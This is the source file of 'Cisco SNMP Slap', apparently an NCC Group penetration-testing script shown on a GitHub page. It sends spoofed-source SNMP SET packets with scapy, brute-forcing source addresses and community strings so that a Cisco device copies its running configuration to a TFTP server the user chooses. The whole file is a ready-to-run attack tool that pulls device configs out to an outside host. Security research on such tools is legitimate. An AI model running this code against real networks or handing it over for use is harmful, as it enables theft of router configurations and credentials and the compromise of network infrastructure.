-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathslap.py
286 lines (256 loc) · 9.62 KB
/
slap.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#!/usr/bin/env python
# Cisco SNMP Slap v0.3
# Released as open source by NCC Group Plc - http://www.nccgroup.com/
# Developed by Darren McDonald, darren.mcdonald@nccgroup.com
# http://github.com/nccgroup/
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# TODO
# * Multi threading
# * Comments
version = "v0.3.1"
print "Cisco SNMP Slap, ", version
print "Darren McDonald, darren.mcdonald@nccgroup.com"
import sys
from scapy.all import *
import random
import os.path
import re
community = ""
tftpserver = ""
srcip = ""
dstip = ""
srcmask = ""
outpath = ""
configured = 0
def sendSNMP( l, c ):
s1=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.14.112"),value=6)]))
s2=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.2.112"),value=1)]))
s3=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.3.112"),value=4)]))
s4=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.4.112"),value=1)]))
s5=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.5.112"),value=ASN1_IPADDRESS(tftpserver))]))
s6=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.6.112"),value="cisco-config.txt")]))
s7=SNMP(community=c,PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.4.1.9.9.96.1.1.1.1.14.112"),value=1)]))
send(l/s1, verbose=0)
send(l/s2, verbose=0)
send(l/s3, verbose=0)
send(l/s4, verbose=0)
send(l/s5, verbose=0)
send(l/s6, verbose=0)
send(l/s7, verbose=0)
def checkFile():
if os.path.isfile(outpath) == True:
print "Success!"
quit()
def myQuit():
print "waiting 10 seconds to see of the last requests cause a TFTP push"
sleep(10)
checkFile()
quit()
argc = len(sys.argv)
if argc > 1:
mode = sys.argv[1]
if argc == 6 and mode == "single_l":
print "Community file: ", sys.argv[2]
filename = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Destination IP: ", sys.argv[5]
dstip = sys.argv[5]
configured = 1
with open( filename ) as infile:
community = infile.readlines()
print "community strings loaded: ", community
if argc == 6 and mode == "single":
print "Community String: ", sys.argv[2]
community = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Destination IP: ", sys.argv[5]
dstip = sys.argv[5]
configured = 1
if argc == 8 and mode == "randmask":
print "Community String: ", sys.argv[2]
community = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Source Mask: ", sys.argv[5]
srcmask = sys.argv[5]
print "Destination IP: ", sys.argv[6]
dstip = sys.argv[6]
outpath = sys.argv[7] + os.sep + "cisco-config.txt"
print "TFTP Root Path: ", outpath
configured = 1
if argc == 8 and mode == "seqmask":
print "Community String: ", sys.argv[2]
community = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Source Mask: ", sys.argv[5]
srcmask = sys.argv[5]
print "Destination IP: ", sys.argv[6]
dstip = sys.argv[6]
outpath = sys.argv[7] + os.sep + "cisco-config.txt"
print "TFTP Root Path: ", outpath
configured = 1
if argc == 8 and mode == "seqmask_l":
print "Community File: ", sys.argv[2]
filename = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Source Mask: ", sys.argv[5]
srcmask = sys.argv[5]
print "Destination IP: ", sys.argv[6]
dstip = sys.argv[6]
outpath = sys.argv[7] + os.sep + "cisco-config.txt"
print "TFTP Root Path: ", outpath
configured = 1
with open( filename ) as infile:
community = infile.readlines()
print "community strings loaded: ", community
if argc == 8 and mode == "randmask_l":
print "Community File: ", sys.argv[2]
filename = sys.argv[2]
print "TFTP Server IP : ", sys.argv[3]
tftpserver = sys.argv[3]
print "Source IP: ", sys.argv[4]
srcip = sys.argv[4]
print "Source Mask: ", sys.argv[5]
srcmask = sys.argv[5]
print "Destination IP: ", sys.argv[6]
dstip = sys.argv[6]
outpath = sys.argv[7] + os.sep + "cisco-config.txt"
print "TFTP Root Path: ", outpath
configured = 1
with open( filename ) as infile:
community = infile.readlines()
print "community strings loaded: ", community
if configured == 0:
print "Usage: ./slap.py single [community string] [TFTP Server IP] [Source IP] [Destination IP]"
print " ./slap.py single_l [community string file] [TFTP Server IP] [Source IP] [Destination IP]"
print " ./slap.py randmask [community string] [TFTP Server IP] [Source IP] [sourcemask] [Destination IP] [TFTP Root Path]"
print " ./slap.py seqmask [community string] [TFTP Server IP] [Source IP] [sourcemask] [Destination IP] [TFTP Root Path]"
print " ./slap.py randmask_l [community string file] [TFTP Server IP] [Source IP] [sourcemask] [Destination IP] [TFTP Root Path]"
print " ./slap.py seqmask_l [community string file] [TFTP Server IP] [Source IP] [sourcemask] [Destination IP] [TFTP Root Path]"
print "Examples:"
print " ./slap.py single private 10.0.0.2 10.100.100.100 10.0.0.1"
print " ./slap.py randmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/"
print " ./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/"
print " ./slap.py seqmask_l mylist.txt 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/"
print ""
print "All of these examples would work against a device expecting an IP address in the 10.100.100.0/24"
print "range with a tftp server running on 10.0.0.2, against a target 10.0.0.1"
print ""
print "This tool does not include an TFTP server, you'll have to run one seperatly, e.g. tftpgui.py"
quit()
if outpath != "" and os.path.isfile(outpath):
print "Target file alreadly exists, delete or move the following file and try again"
print outpath
quit()
if mode == "single":
l34=IP(src=srcip,dst=dstip)/UDP(sport=161,dport=161)
sendSNMP( l34, community )
quit()
if mode == "single_l":
l34=IP(src=srcip,dst=dstip)/UDP(sport=161,dport=161)
for c in community:
c = c.strip()
print dstip, "/ ", c
sendSNMP( l34, c )
checkFile()
quit()
if mode == "randmask":
while True:
tmpip = srcip
srcIPAsLong = struct.unpack("!L", socket.inet_aton(tmpip))[0]
maskAsLong = struct.unpack("!L", socket.inet_aton(srcmask))[0]
randIP = ".".join(map(str, (random.randint(0, 255)
for _ in range(4))))
randomLong = struct.unpack("!L", socket.inet_aton(randIP))[0]
maskAsLong = randomLong & maskAsLong
srcIPAsLong = srcIPAsLong ^ maskAsLong
tmpip = socket.inet_ntoa(struct.pack('!L', srcIPAsLong))
print tmpip
l34=IP(src=tmpip,dst=dstip)/UDP(sport=161,dport=161)
sendSNMP( l34, community )
checkFile()
if mode == "randmask_l":
while True:
tmpip = srcip
srcIPAsLong = struct.unpack("!L", socket.inet_aton(tmpip))[0]
maskAsLong = struct.unpack("!L", socket.inet_aton(srcmask))[0]
randIP = ".".join(map(str, (random.randint(0, 255)
for _ in range(4))))
randomLong = struct.unpack("!L", socket.inet_aton(randIP))[0]
maskAsLong = randomLong & maskAsLong
srcIPAsLong = srcIPAsLong ^ maskAsLong
tmpip = socket.inet_ntoa(struct.pack('!L', srcIPAsLong))
l34=IP(src=tmpip,dst=dstip)/UDP(sport=161,dport=161)
for c in community:
c = c.strip()
print tmpip, "/ ", c
sendSNMP(l34, c)
checkFile()
if mode == "seqmask":
seqIP = "0.0.0.0"
seqLong = struct.unpack("!L", socket.inet_aton(seqIP))[0]
tmpip = srcip
srcIPAsLong = struct.unpack("!L", socket.inet_aton(tmpip))[0]
maskAsLong = struct.unpack("!L", socket.inet_aton(srcmask))[0]
while True:
if seqLong | maskAsLong == maskAsLong:
srcIPAsLong2 = srcIPAsLong ^ seqLong
tmpip = socket.inet_ntoa(struct.pack('!L', srcIPAsLong2))
print tmpip
l34=IP(src=tmpip,dst=dstip)/UDP(sport=161,dport=161)
sendSNMP(l34, community)
checkFile()
if seqLong < maskAsLong:
seqLong = seqLong + 1
else:
break
checkFile()
myQuit()
if mode == "seqmask_l":
seqIP = "0.0.0.0"
seqLong = struct.unpack("!L", socket.inet_aton(seqIP))[0]
tmpip = srcip
srcIPAsLong = struct.unpack("!L", socket.inet_aton(tmpip))[0]
maskAsLong = struct.unpack("!L", socket.inet_aton(srcmask))[0]
while True:
if seqLong | maskAsLong == maskAsLong:
srcIPAsLong2 = srcIPAsLong ^ seqLong
tmpip = socket.inet_ntoa(struct.pack('!L', srcIPAsLong2))
l34=IP(src=tmpip,dst=dstip)/UDP(sport=161,dport=161)
for c in community:
c = c.strip()
print tmpip, "/ ", c
sendSNMP(l34, c)
checkFile()
if seqLong < maskAsLong:
seqLong = seqLong + 1
else:
break
checkFile()
myQuit()
quit()